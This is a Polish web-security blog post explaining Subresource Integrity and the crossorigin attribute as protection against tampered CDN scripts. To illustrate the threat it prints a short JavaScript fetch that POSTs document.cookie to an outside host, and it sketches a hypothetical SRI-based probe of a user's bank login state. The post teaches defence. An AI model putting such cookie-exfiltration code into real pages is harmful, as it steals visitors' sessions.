Subresource integrity

Jak ochronić się przed atakami supply chain dodając atrybut integrity.

Opublikowano 19.09.2023 08:20

Tag script

<script src="https://code.jquery.com/jquery-3.7.1.js"></script>

Chcesz użyć zewnętrznej biblioteki na swojej stronie. Używasz tagu script. W atrybucie src podajesz ścieżkę do pliku, który znajduje się na serwerze CDN. Taki kod zadziała, jednak narażasz się na ataki typu supply chain.

Potencjalny atak

fetch(`https://szurek.win/`, {
        method: 'POST',
        mode: 'no-cors',
        body: document.cookie
});

Ponieważ używasz zewnętrznego serwera to nie kontrolujesz jego zawartości. Gdy ktoś włamie się do dostawcy i podmieni plik, nawet tego nie zauważysz.

Ścieżka do pliku się nie zmienia. Ale zmienia się jego zawartość. Atakujący może więc użyć funkcji fetch i przy jej pomocy wysłać ciasteczka do kontrolowanego przez siebie serwera.

Gdy użytkownik wejdzie na Twoją stronę to przeglądarka w tle wyśle jego ciasteczka.

Ciasteczka HttpOnly

Set-Cookie: session=a; HttpOnly
Set-Cookie: user=b

console.log(document.cookie);
// przeglądarka nie wyswietliła ciasteczka session
// user=b

Możesz ograniczyć to ryzyko stosując ciasteczko HttpOnly. Serwer musi tylko zwrócić odpowiednią flagę. Wtedy nie można wyświetlić takiego ciasteczka z poziomu kodu JS. Ale czasami możesz po prostu potrzebować dostępu do tych ciasteczek z poziomu frontu. Co wtedy?

Subresource integrity

<script
    src="https://code.jquery.com/jquery-3.7.1.js"   
    integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4="
    crossorigin="anonymous"
></script>

Rozwiązaniem jest mechanizm subresource integrity - SRI.

Musisz ustawić dodatkowy atrybut integrity w tagu script.

Wskazujesz w nim algorytm, użyty do wyliczenia hasha pliku.

Odpowiednią wartość możesz wyliczyć korzystając ze specjalnych generatorów.

Ale co nam to daje? Jeśli atakujący zmieni kod na serwerze to przeglądarka go nie wykona.

Zamiast tego zwróci błąd:

❌ Failed to find a valid digest in the 'integrity' attribute for resource 'https://code.jquery.com/jquery-3.7.1.js' with computed SHA-256 integrity 'eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4='. The resource has been blocked.

Kiedy używamy funkcji skrótu to nawet niewielka zmiana w tekście powoduje, że jej wynik, czyli hash, bardzo się zmienia.

Aby Ci to zademonstrować zmieniłem w kodzie w jednym miejscu literkę P na p, czyli zamieniłem dużą literkę na małą literkę.

// pass this if window is not defined yet

To zmieniło hash pliku:

eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4= // PRZED
+6TQo69wSE3QvnLx7eb8spnNp1+x6zNcee6/QIKxyeE= // PO

W ten sposób upewniasz się, że strona będzie działać tylko wtedy, kiedy serwer zwróci dokładnie ten jeden plik. Każda zmiana zostanie wykryta i odrzucona przez przeglądarkę.

Interesujesz się bezpieczeństwem?
Sprawdź mój kurs Bezpieczny Programista.
Szkolenie pozwoli Ci znaleźć swoją pierwszą podatność.
Nawet jeśli nie masz w tym doświadczenia!

Cross-origin

Pozostaje jeszcze jedna tajemnica - atrybut crossorigin. Co jeśli nie dodamy tego atrybutu?

<script
 src="https://code.jquery.com/jquery-3.7.1.js"
 integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4="
>

Przeglądarka wyświetli w konsoli błąd:

❌ Subresource Integrity: The resource 'https://code.jquery.com/jquery-3.7.1.js' has an integrity attribute, but the resource requires the request to be CORS enabled to check the integrity, and it is not. The resource has been blocked because the integrity cannot be enforced.

Dlaczego? Wymaga tego specyfikacja z powodu cross-origin data leakage.

Cross-origin data leakage

Jesteś atakującym. Chcesz wykryć, czy użytkownik, który wchodzi na Twoją stronę jest zalogowany do swojego banku.

Wiesz, że bank zwraca różną odpowiedź na żądanie w zależności od tego, czy użytkownik jest zalogowany:

// Jeśli użytkownik jest zalogowany
{"logged": true}

// Jeśli użytkownik nie jest zalogowany
{"logged": false}

Normalnie nie możesz sprawdzić odpowiedzi serwera ze względu na Same Origin Policy - SOP.

Jeśli chcesz używać treści pochodzącej z innego originu musisz użyć dodatkowego mechanizmu, który na to pozwala, na przykład CORS.

fetch('https://bank.local/api', {
    credentials: "include"
}).then(response => response.json())
.then(function (json) {
    if (json.logged) {
        alert('Zalogowany');
    }            
});

Ten kod nie zadziała. Przeglądarka zwróci błąd i nie pozwoli Ci na odczytanie treści pobranej z banku:

❌ Access to fetch at 'https://bank.local/api' from origin 'https://blog.szurek.tv' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Ale hipotetycznie możesz do tego celu użyć subresource integrity. Wiesz przecież, że odpowiedź {"logged": true} to hash sha256-T9OVxg1ZER3dLHGk1uZnmYcRtDO6tX83lAIlFI0PqGE=.

Ładujemy tą treść wykorzystując tag script, ale traktujemy ją jak zwykły tekst.

Możesz więc wykryć, czy strona zwróciła tą wartość sprawdzając jej hash, a tym samym omijając SOP.

Jeżeli hash jest inny to znaczy, że strona zwróciła inną odpowiedź niż {"logged": true}.

Czyli użytkownik nie jest zalogowany. Wtedy wykona się atrybut onerror.

<script
    src="https://cdn.szurek.local/test.php"
    integrity="sha256-T9OVxg1ZER3dLHGk1uZnmYcRtDO6tX83lAIlFI0PqGE="
    onerror="alert('Użytkownik nie jest zalogowany')"
></script>

Na szczęście ten kod nie zadziała, bo przeglądarka wymaga atrybutu crossorigin jeżeli używamy atrybutu integrity.

Wymagany atrybut

Atrybut crossorigin może przyjmować jedną z trzech wartości:

  • anonymous
  • use-credentials
  • "" - pusty atrybut, wtedy zachowuje się jak anonymous

Kiedy używasz anonymous to przeglądarka nie wysyła z tym żądaniem ciasteczek, nawet jeśli ma jakieś, które pasują. Ponieważ to żądanie cross-origin, serwer musi zwrócić odpowiedni nagłówek Access-Control-Allow-Origin.

Ale nie martw się, większość serwerów CDN dodaje ten nagłówek automatycznie.

// Żądanie ze strony https://blog.szurek.tv
<script
    src="https://code.jquery.com/jquery-3.7.1.js"   
    integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4="
    crossorigin="anonymous"
></script>

# Odpowiedź serwera
Access-Control-Allow-Origin: *

// Treść skryptu

Jeśli jednak użyjesz use-credentials to przeglądarka do żądania doda pasujące ciasteczka. A to sprawia, że serwer musi wtedy zwrócić również nagłówek Access-Control-Allow-Credentials.

Nie każdy serwer CDN zwraca ten nagłówek.

// Żądanie ze strony https://blog.szurek.tv
<script
    src="https://code.jquery.com/jquery-3.7.1.js"   
    integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4="
    crossorigin="use-credentials"
></script>

# Tak powinna wyglądać odpowiedź serwera
Access-Control-Allow-Origin: https://blog.szurek.tv
Access-Control-Allow-Credentials: true

# Ale serwer zwraca
Access-Control-Allow-Origin: *

// Treść skryptu

Ciekawostki

Możesz wyliczyć hash korzystając z narzędzia CyberChef.

Możesz podać wiele hashy na raz. Przeglądarka uruchomi wtedy kod, jeśli którykolwiek z hashy pasuje.

Poniższy kod pozwoli na uruchomienie tylko skryptu skrypt_1.js oraz skrypt_2.js.

<script
    src="https://test.szurek.local/"
    integrity="sha256-+ZFDxbrHbeniMxuN0O/1l4mrdrDoiFfdMNkeBfIG1mw= sha256-FHR8Az4x7UtaLnec9J/pSK/XCRX2p4KiFSiXB1sZvhs="
    crossorigin="anonymous"
></script>
// skrypt_1.js
// Hash: +ZFDxbrHbeniMxuN0O/1l4mrdrDoiFfdMNkeBfIG1mw=
alert('SKRYPT 1');
// skrypt_2.js
// Hash: FHR8Az4x7UtaLnec9J/pSK/XCRX2p4KiFSiXB1sZvhs=
alert('SKRYPT 2');
// skrypt_3.js
// Hash: 00VIVwWoqZDfMKu8TLpYUto9OJEa8kfPqNTyLmZQtpU=
// Ten przykład nie zadziała
alert('SKRYPT 3');

#programowanie